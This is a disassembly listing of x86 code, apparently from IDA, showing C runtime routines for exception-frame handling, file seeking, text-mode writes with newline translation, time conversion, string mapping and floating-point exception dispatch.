loc_42235F: ; CODE XREF: sub_4222C2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427900 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DB328 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: ___:00427920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: ___:00427924o mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: ___:00427918o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43C8C4 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: ___:00427938o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: ___:0042793Co mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: ___:00427930o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DC908 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DC904 nop call near ptr 2651015h loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43CD8C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43CCA8 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43CCAC, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43CCB0 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: ___:0041D253p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DC6C0 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB278, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call near ptr 2750000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F nop call near ptr 2670763h jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: ___:0041D216p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DC5C0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB278, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DC6C0 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 26E0000h test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB278, 9 mov dword_4DB27C, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j nop call near ptr 2670763h mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 26E0000h test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j call near ptr 2670763h nop mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB278, 1Ch mov dword_4DB27C, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427948 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DB34C, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427940 mov esi, 100h push esi push edi call near ptr 2640000h nop test eax, eax jz short loc_422B1E mov dword_4DB34C, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CAE2C push esi push edi nop call near ptr 2650000h test eax, eax jz loc_422C58 mov dword_4DB34C, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DB34C cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2650000h nop jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call near ptr 2800000h nop mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2800000h test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] call near ptr 27F1177h nop mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: ___:00422D11j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DB350 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DB350, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43C940 mov edx, dword_43C944 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43C8D0h[esi*4] loc_422D65: ; CODE XREF: ___:00422D6Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: ___:00422D57j mov eax, [eax] mov esi, dword_43C94C cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43C94C, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: ___:00422D7Bj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43C94C, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: ___:00422D8Ej cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43C94C, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: ___:00422DA1j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43C94C, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: ___:00422DB4j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43C94C, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: ___:00422DC7j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43C94C, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: ___:00422DDAj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43C94C, 8Ah loc_422DF9: ; CODE XREF: ___:00422D87j ; ___:00422D9Aj ... push dword_43C94C push 8 call ebx pop ecx mov dword_43C94C, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: ___:00422D40j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: ___:00422E0Cj mov eax, [ebp+8] mov dword_4DB350, eax loc_422E1E: ; CODE XREF: ___:00422D22j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: ___:00422CFDj ; ___:00422D08j push dword ptr [ebp+0Ch] nop call near ptr 2630000h loc_422E2C: ; CODE XREF: ___:00422D1Aj ; ___:00422E21j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: ___:00422CF5p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8C8, edx push esi mov eax, offset dword_43C8C8 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_422E51: ; CODE XREF: sub_422E2F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax 